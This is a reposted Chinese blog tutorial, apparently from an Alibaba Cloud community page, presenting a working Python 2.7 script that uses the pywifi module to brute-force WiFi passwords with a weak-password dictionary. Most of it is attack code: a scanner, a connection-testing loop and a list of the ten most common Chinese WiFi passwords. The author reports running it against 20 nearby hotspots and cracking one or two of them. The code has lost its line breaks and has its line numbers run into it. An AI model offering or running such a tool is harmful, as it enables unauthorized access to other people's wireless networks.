一個非常簡單易懂的WIFI密碼爆破python指令碼

來源:互聯網
上載者:User

標籤:write   adl   break   說明   anr   rip   sys.argv   osc   nes   

摘要: 我得說明下這個東西一點都不高端,甚至看起來有點糟糕。而且用的是單線程~,因為過幾天要搬家了,於是。。 環境準備
  • python2.7
  • 湊合的linux
  • 差不多的無線網卡
  • pywifi模組
  • 弱口令字典
  • 清除系統中的任何wifi串連記錄(非常重要!!!)

首先,這個模組在win下有點雞肋,作者在調用WLANAPI時沒有做好WLAN_SECURITY_ATTRIBUTES的封裝,所以推薦在linux下跑,我測試所使用的是Kali 2.0 內建python 2.7.6 ,可直接通過 pip install pywifi 安裝。

匯入模組

這裡用的模組就這三個 pywifi的_wifiutil_linux.py指令碼的 _send_cmd_to_wpas方法中的if reply != b‘OK\n‘:判斷需要修改,不然會有很多的提示資訊。

from pywifi import *import timeimport sys

 

字典準備

效率很重要,畢竟這東西跑起來可真慢,下面是天朝用的比較多的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111
配置掃描器

推薦掃描時常可以設定在15-20秒之間 測試時常則可以自訂,考慮到認證速度於距離的關係,我一般設定在15左右,再久的也沒意義 到時候就算破解成功的熱點,訊號也好不到哪裡

 1 def main(): 2     #掃描時常 3     scantimes = 3 4     #單個密碼測試延遲 5     testtimes = 15 6     output = sys.stdout 7     #結果檔案儲存路徑 8     files = "TestRes.txt" 9     #字典列表10     keys = open(sys.argv[1],"r").readlines()11     print "|KEYS %s"%(len(keys))12     #執行個體化一個pywifi對象13     wifi = PyWiFi()14     #選擇定一個網卡並賦值於iface15     iface = wifi.interfaces()[0]16     #通過iface進行一個時常為scantimes的掃描並擷取附近的熱點基礎配置17     scanres = scans(iface,scantimes)18     #統計附近被發現的熱點數量19     nums = len(scanres)20     print "|SCAN GET %s"%(nums)21     print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)22     #將每一個熱點資訊逐一進行測試23     for i,x in enumerate(scanres):24         #測試完畢後,成功的結果講儲存到files中25         res = test(nums-i,iface,x,keys,output,testtimes)26         if res:27             open(files,"a").write(res)

 

掃描周圍熱點
1 def scans(face,timeout):2     #開始掃描3     face.scan()4     time.sleep(timeout)5     #在若干秒後擷取掃描結果6     return face.scan_results()

 

熱點測試

這裡後續推薦將掃描過程資料入庫,防止重複掃描,且更加直觀。

 1 def test(i,face,x,key,stu,ts): 2     #顯示對應網路名稱,考慮到部分中文名嘖顯示bssid 3     showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid 4     #迭代字典並進行爆破 5     for n,k in enumerate(key): 6         x.key = k.strip() 7         #移除所有熱點配置 8         face.remove_all_network_profiles() 9         #講封裝好的目標嘗試串連10         face.connect(face.add_network_profile(x))11         #初始化狀態代碼,考慮到用0會發生些邏輯錯誤12         code = 1013         t1 = time.time()14         #迴圈重新整理狀態,如果置為0則密碼錯誤,如逾時則進行下一個15         while code!=0 :16             time.sleep(0.1)17             code = face.status()18             now = time.time()-t119             if now>ts:20                 break21             stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s |  %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))22             stu.flush()23             if code == 4:24                 face.disconnect()25                 return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)26     return False

 

案例

這裡顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然後開始坑爹的跑起來了

  • WIFIID 熱點的id號 每跑一個會減1
  • SSID OR BSSID 熱點的ssid名或mac地址
  • N 對熱點的串連狀態,這個在
  • time 當前所花去的時間
  • signal 熱點的訊號強度,若小越好
  • KEYNUM 測試密碼的id 每跑一個會減1
  • KEY 當前測試的密碼

結果還不錯,各位的安全意識不像以前那麼蛋疼了,掃出一兩個,其中一個還是自家的 - -

python學習交流群:125240963

轉載至:https://my.oschina.net/Apathy/blog/821039

一個非常簡單易懂的WIFI密碼爆破python指令碼

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.